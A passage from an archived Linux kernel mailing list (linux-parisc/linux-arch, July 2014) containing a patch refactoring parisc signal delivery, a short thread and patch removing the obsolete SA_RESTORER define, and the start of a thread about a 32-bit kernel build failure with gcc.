	for glka-linux-arch@plane.gmane.org; Mon, 21 Jul 2014 16:13:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932293AbaGUONm (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 21 Jul 2014 10:13:42 -0400
Original-Received: from mail.sigma-star.at ([95.130.255.111]:14399 "EHLO
	mail.sigma-star.at" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932508AbaGUOEI (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 21 Jul 2014 10:04:08 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.sigma-star.at (Postfix) with ESMTP id 9AC4B16B42B1;
	Mon, 21 Jul 2014 16:04:05 +0200 (CEST)
X-Virus-Scanned: amavisd-new at mail.sigma-star.at
Original-Received: from localhost.localdomain (chello213047235169.tirol.surfer.at [213.47.235.169])
	by mail.sigma-star.at (Postfix) with ESMTPSA id 26ECE16B42AB;
	Mon, 21 Jul 2014 16:04:03 +0200 (CEST)
X-Mailer: git-send-email 1.8.4.5
In-Reply-To: <1405951409-16953-1-git-send-email-richard@sigma-star.at>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:24082 gmane.linux.kernel:1752349 gmane.linux.ports.parisc:5953
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/24082>

From: Richard Weinberger <richard@nod.at>

Use the more generic functions get_signal() signal_setup_done()
for signal delivery.

Signed-off-by: Richard Weinberger <richard@nod.at>
Acked-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/signal.c | 58 +++++++++++++++++++--------------------------
 1 file changed, 24 insertions(+), 34 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 1cba8f2..012d4fa 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -227,8 +227,8 @@ setup_sigcontext(struct sigcontext __user *sc, struct pt_regs *regs, int in_sysc
 }
 
 static long
-setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
-	       sigset_t *set, struct pt_regs *regs, int in_syscall)
+setup_rt_frame(struct ksignal *ksig, sigset_t *set, struct pt_regs *regs,
+	       int in_syscall)
 {
 	struct rt_sigframe __user *frame;
 	unsigned long rp, usp;
@@ -241,10 +241,10 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	
 	usp = (regs->gr[30] & ~(0x01UL));
 	/*FIXME: frame_size parameter is unused, remove it. */
-	frame = get_sigframe(ka, usp, sizeof(*frame));
+	frame = get_sigframe(&ksig->ka, usp, sizeof(*frame));
 
 	DBG(1,"SETUP_RT_FRAME: START\n");
-	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, info);
+	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, ksig->info);
 
 	
 #ifdef CONFIG_64BIT
@@ -253,7 +253,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	
 	if (is_compat_task()) {
 		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
-		err |= copy_siginfo_to_user32(&compat_frame->info, info);
+		err |= copy_siginfo_to_user32(&compat_frame->info, &ksig->info);
 		err |= __compat_save_altstack( &compat_frame->uc.uc_stack, regs->gr[30]);
 		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &compat_frame->uc);
 		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &compat_frame->uc.uc_mcontext);
@@ -265,7 +265,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #endif
 	{	
 		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &frame->info);
-		err |= copy_siginfo_to_user(&frame->info, info);
+		err |= copy_siginfo_to_user(&frame->info, &ksig->info);
 		err |= __save_altstack(&frame->uc.uc_stack, regs->gr[30]);
 		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &frame->uc);
 		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &frame->uc.uc_mcontext);
@@ -275,7 +275,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	}
 	
 	if (err)
-		goto give_sigsegv;
+		return -EFAULT;
 
 	/* Set up to return from userspace.  If provided, use a stub
 	   already in userspace. The first words of tramp are used to
@@ -312,9 +312,9 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	rp = (unsigned long) &frame->tramp[SIGRESTARTBLOCK_TRAMP];
 
 	if (err)
-		goto give_sigsegv;
+		return -EFAULT;
 
-	haddr = A(ka->sa.sa_handler);
+	haddr = A(ksig->ka.sa.sa_handler);
 	/* The sa_handler may be a pointer to a function descriptor */
 #ifdef CONFIG_64BIT
 	if (is_compat_task()) {
@@ -326,7 +326,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 			err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
 
 			if (err)
-				goto give_sigsegv;
+				return -EFAULT;
 
 			haddr = fdesc.addr;
 			regs->gr[19] = fdesc.gp;
@@ -339,7 +339,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 		err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
 		
 		if (err)
-			goto give_sigsegv;
+			return -EFAULT;
 		
 		haddr = fdesc.addr;
 		regs->gr[19] = fdesc.gp;
@@ -386,7 +386,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	}
 
 	regs->gr[2]  = rp;                /* userland return pointer */
-	regs->gr[26] = sig;               /* signal number */
+	regs->gr[26] = ksig->sig;               /* signal number */
 	
 #ifdef CONFIG_64BIT
 	if (is_compat_task()) {
@@ -410,11 +410,6 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	       current->comm, current->pid, frame, regs->gr[30],
 	       regs->iaoq[0], regs->iaoq[1], rp);
 
-	return 1;
-
-give_sigsegv:
-	DBG(1,"setup_rt_frame: sending SIGSEGV\n");
-	force_sigsegv(sig, current);
 	return 0;
 }
 
@@ -423,20 +418,19 @@ give_sigsegv:
  */	
 
 static void
-handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
-		struct pt_regs *regs, int in_syscall)
+handle_signal(struct ksignal *ksig, struct pt_regs *regs, int in_syscall)
 {
+	int ret;
 	sigset_t *oldset = sigmask_to_save();
+
 	DBG(1,"handle_signal: sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p\n",
-	       sig, ka, info, oldset, regs);
+	       ksig->sig, ksig->ka, ksig->info, oldset, regs);
 	
 	/* Set up the stack frame */
-	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
-		return;
+	ret = setup_rt_frame(ksig, oldset, regs, in_syscall);
 
-	signal_delivered(sig, info, ka, regs, 
-		test_thread_flag(TIF_SINGLESTEP) ||
-		test_thread_flag(TIF_BLOCKSTEP));
+	signal_setup_done(ret, ksig, test_thread_flag(TIF_SINGLESTEP) ||
+			  test_thread_flag(TIF_BLOCKSTEP));
 
 	DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
 		regs->gr[28]);
@@ -544,22 +538,18 @@ insert_restart_trampoline(struct pt_regs *regs)
 asmlinkage void
 do_signal(struct pt_regs *regs, long in_syscall)
 {
-	siginfo_t info;
-	struct k_sigaction ka;
-	int signr;
+	struct ksignal ksig;
 
 	DBG(1,"\ndo_signal: regs=0x%p, sr7 %#lx, in_syscall=%d\n",
 	       regs, regs->sr[7], in_syscall);
 
-	signr = get_signal_to_deliver(&info, &ka, regs, NULL);
-	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
-	
-	if (signr > 0) {
+	if (get_signal(&ksig)) {
+		DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]);
 		/* Restart a system call if necessary. */
 		if (in_syscall)
-			syscall_restart(regs, &ka);
+			syscall_restart(regs, &ksig.ka);
 
-		handle_signal(signr, &info, &ka, regs, in_syscall);
+		handle_signal(&ksig, regs, in_syscall);
 		return;
 	}
 
-- 
1.8.4.5


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: struct sigaction sa_restorer field
Date: Mon, 21 Jul 2014 10:14:09 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU436-SMTP1157331F7463DB56E855A8897F00@phx.gbl>
References: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl> <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405952087 19043 80.91.229.3 (21 Jul 2014 14:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2014 14:14:47 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 16:14:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X9EMG-0001JV-CN
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Jul 2014 16:14:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932839AbaGUOOO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2014 10:14:14 -0400
Original-Received: from blu004-omc4s22.hotmail.com ([65.55.111.161]:51428 "EHLO
	BLU004-OMC4S22.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932489AbaGUOOM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2014 10:14:12 -0400
Original-Received: from BLU436-SMTP115 ([65.55.111.136]) by BLU004-OMC4S22.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Mon, 21 Jul 2014 07:14:12 -0700
X-TMN: [vUdZYc3fK5XetRLvTTtH4hDCMopLLKRp]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.140]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Mon, 21 Jul 2014 07:14:11 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>
X-OriginalArrivalTime: 21 Jul 2014 14:14:11.0409 (UTC) FILETIME=[0B32E410:01CFA4EE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5954>

On 7/21/2014 4:25 AM, Helge Deller wrote:
> Hi Dave,
>
>> The sa_restorer field is obsolete and not in the hppa struct
>> sigaction, but we still define SA_RESTORER.  What should be done?
> Basically to not break userspace we can't (and shouldn't) add the sa_restorer struct member.
> So, the only option would be to drop the SA_RESTORER #define, right?
> But I have no idea how and if this will break some builds, since the major arches seem to define SA_RESTORER...
>
I asked the question when I saw the crashme kernel test package didn't 
build due to the missing field.

In the generic sigaction struct, the field is conditional on the 
SA_RESTORER define.  I imagine that
the major arches also have sa_restorer struct member.

I agree it seems best to remove the define.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: struct sigaction sa_restorer field
Date: Mon, 21 Jul 2014 17:30:00 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <trinity-4fb37bf0-16a5-4b36-8b42-32178d33ebd0-1405956600688@3capp-gmx-bs02>
References: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl>
 <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>,
 <BLU436-SMTP1157331F7463DB56E855A8897F00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405956614 16808 80.91.229.3 (21 Jul 2014 15:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2014 15:30:14 +0000 (UTC)
Cc: "linux-parisc List" <linux-parisc@vger.kernel.org>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 17:30:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X9FXR-0000B5-SX
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Jul 2014 17:30:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932550AbaGUPaF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2014 11:30:05 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:54536 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932332AbaGUPaE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2014 11:30:04 -0400
Original-Received: from [155.56.68.214] by 3capp-gmx-bs02.server.lan (via HTTP); Mon,
 21 Jul 2014 17:30:00 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <BLU436-SMTP1157331F7463DB56E855A8897F00@phx.gbl>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:gC4o/bPeaOOnabxA42hfF//+2XrRHHhSyQK2wZu/Epv
 eH3W0inmzZxyTEm5RtDKmbgkA9qiQcbTEJN3yIjdEbS8BUc4Gf
 yALoulv+p3oY21WKTTHMLmTnabLUZMTO6tWjbWscXFhNk4k803
 F2ABzjOEdpJMCydVUl0U3ZO2LTONRqCaSJJ/uAtlndh2NuJ889
 id8P1Q0ZpuqAMq54RF2a/qm29OqQKqApXNQiRQy4pjRU+CCBjY
 2pdB8dND0ByIJcTUIZKF8h25GL82qjh6QdWLSNR2Waqa1pa5Ca E+TyAE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5955>

> >> The sa_restorer field is obsolete and not in the hppa struct
> >> sigaction, but we still define SA_RESTORER.  What should be done?
> > Basically to not break userspace we can't (and shouldn't) add the sa_restorer struct member.
> > So, the only option would be to drop the SA_RESTORER #define, right?
> > But I have no idea how and if this will break some builds, since the major arches seem to define SA_RESTORER...
> >
> I asked the question when I saw the crashme kernel test package didn't 
> build due to the missing field.
> 
> In the generic sigaction struct, the field is conditional on the 
> SA_RESTORER define.  I imagine that
> the major arches also have sa_restorer struct member.
> 
> I agree it seems best to remove the define.

Ok, then can you send a patch ?
Should we request to backport it into stable kernels? I think so...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove SA_RESTORER define
Date: Wed, 23 Jul 2014 19:44:12 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU436-SMTP144A6E8DBF60A38EB9EDBEE97FE0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-10-502606989"
X-Trace: ger.gmane.org 1406159079 20618 80.91.229.3 (23 Jul 2014 23:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jul 2014 23:44:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 01:44:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XA6D1-0001jD-By
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jul 2014 01:44:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758370AbaGWXoa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jul 2014 19:44:30 -0400
Original-Received: from blu004-omc4s3.hotmail.com ([65.55.111.142]:56750 "EHLO
	BLU004-OMC4S3.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758187AbaGWXoa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jul 2014 19:44:30 -0400
Original-Received: from BLU436-SMTP144 ([65.55.111.135]) by BLU004-OMC4S3.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Wed, 23 Jul 2014 16:44:29 -0700
X-TMN: [x4bu3jwI48m05nkJRKBQ3pkcRShBDNff]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Wed, 23 Jul 2014 16:44:28 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jul 2014 23:44:28.0546 (UTC) FILETIME=[0B072620:01CFA6D0]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5956>

--Apple-Mail-10-502606989
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The sa_restorer field in struct sigaction is obsolete and no longer in  
the parisc
implementation.  However, the core code assumes the field is present if
SA_RESTORER is defined.  So, the define needs to be removed.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---



--Apple-Mail-10-502606989
Content-Disposition: attachment; filename="sa_restorer.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="sa_restorer.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index a2fa2971..f5645d6 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -69,8 +69,6 @@
 #define SA_NOMASK	SA_NODEFER
 #define SA_ONESHOT	SA_RESETHAND
 
-#define SA_RESTORER	0x04000000 /* obsolete -- ignored */

From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Compiling a 32bit kernel fails
Date: Thu, 24 Jul 2014 13:39:45 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <828ecd1c2a7868e1f1ef7025f9f1e930@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1406202010 16953 80.91.229.3 (24 Jul 2014 11:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2014 11:40:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 13:40:05 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XAHNR-0002wQ-9P
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jul 2014 13:40:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751822AbaGXLkA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2014 07:40:00 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:57967 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750843AbaGXLkA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2014 07:40:00 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Thu, 24 Jul 2014 13:39:38 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XAHNB-0002lh-Qn
	for linux-parisc@vger.kernel.org; Thu, 24 Jul 2014 13:39:45 +0200
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5957>



I've been trying to compile a 3.15.6 kernel but I did not managed to do=
=20
so with either gcc 4.7.3 or 4.8.3.


This is the error I get :

In file included from=20
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:5:0,
                  from=20
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/atomic.h:20,
                  from include/linux/atomic.h:4,
                  from=20
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/bitops.h:11,
                  from include/linux/bitops.h:33,
                  from include/linux/kernel.h:10,
                  from=20
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/bug.h:4,
                  from include/linux/bug.h:4,
                  from include/linux/thread_info.h:11,
                  from include/asm-generic/preempt.h:4,
                  from arch/parisc/include/generated/asm/preempt.h:1,
                  from include/linux/preempt.h:18,
                  from include/linux/spinlock.h:50,
                  from include/linux/mmzone.h:7,
                  from include/linux/gfp.h:5,
                  from include/linux/slab.h:14,
                  from kernel/signal.c:13:
kernel/signal.c: In function =E2=80=98get_signal_to_deliver=E2=80=99:
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2:=20
error: can=E2=80=99t find a register in class =E2=80=98R1_REGS=E2=80=99=
 while reloading =E2=80=98asm=E2=80=99
   __asm__ __volatile__(__LDCW " 0(%2),%0"   \
   ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:26:9:=20
note: in expansion of macro =E2=80=98__ldcw=E2=80=99
   while (__ldcw(a) =3D=3D 0)
          ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2:=20
error: =E2=80=98asm=E2=80=99 operand has impossible constraints
   __asm__ __volatile__(__LDCW " 0(%2),%0"   \
   ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:26:9:=20
note: in expansion of macro =E2=80=98__ldcw=E2=80=99
   while (__ldcw(a) =3D=3D 0)
          ^

As far as I can tell, it looks familiar :
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D60925
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D35193


Is the fix to modify the LDCW macro or fix gcc ?

   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Compiling a 32bit kernel fails
Date: Thu, 24 Jul 2014 09:19:30 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <BLU436-SMTP252142D10893C7F99D610A697FF0@phx.gbl>
References: <828ecd1c2a7868e1f1ef7025f9f1e930@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=WINDOWS-1252;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1406208003 6044 80.91.229.3 (24 Jul 2014 13:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2014 13:20:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 15:19:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XAIw1-0000Yh-9S
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jul 2014 15:19:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758781AbaGXNTt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2014 09:19:49 -0400
Original-Received: from blu004-omc4s16.hotmail.com ([65.55.111.155]:63486 "EHLO
	BLU004-OMC4S16.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757460AbaGXNTs convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2014 09:19:48 -0400
Original-Received: from BLU436-SMTP252 ([65.55.111.137]) by BLU004-OMC4S16.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 24 Jul 2014 06:19:47 -0700
X-TMN: [xJQzQ0lqu1Oh2UmpyPj7vj7eohVMeMeZ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 24 Jul 2014 06:19:46 -0700
In-Reply-To: <828ecd1c2a7868e1f1ef7025f9f1e930@tuxicoman.be>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Jul 2014 13:19:46.0552 (UTC) FILETIME=[F06E7F80:01CFA741]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5958>

On 24-Jul-14, at 7:39 AM, Guy Martin wrote:

>
>
> I've been trying to compile a 3.15.6 kernel but I did not managed to =
=20
> do so with either gcc 4.7.3 or 4.8.3.
>
>
> This is the error I get :
>
> In file included from /usr/src/linux-3.15.6-phoenix/arch/parisc/=20
> include/asm/spinlock.h:5:0,
>                 from /usr/src/linux-3.15.6-phoenix/arch/parisc/=20
> include/asm/atomic.h:20,
>                 from include/linux/atomic.h:4,
>                 from /usr/src/linux-3.15.6-phoenix/arch/parisc/=20
> include/asm/bitops.h:11,
>                 from include/linux/bitops.h:33,
>                 from include/linux/kernel.h:10,
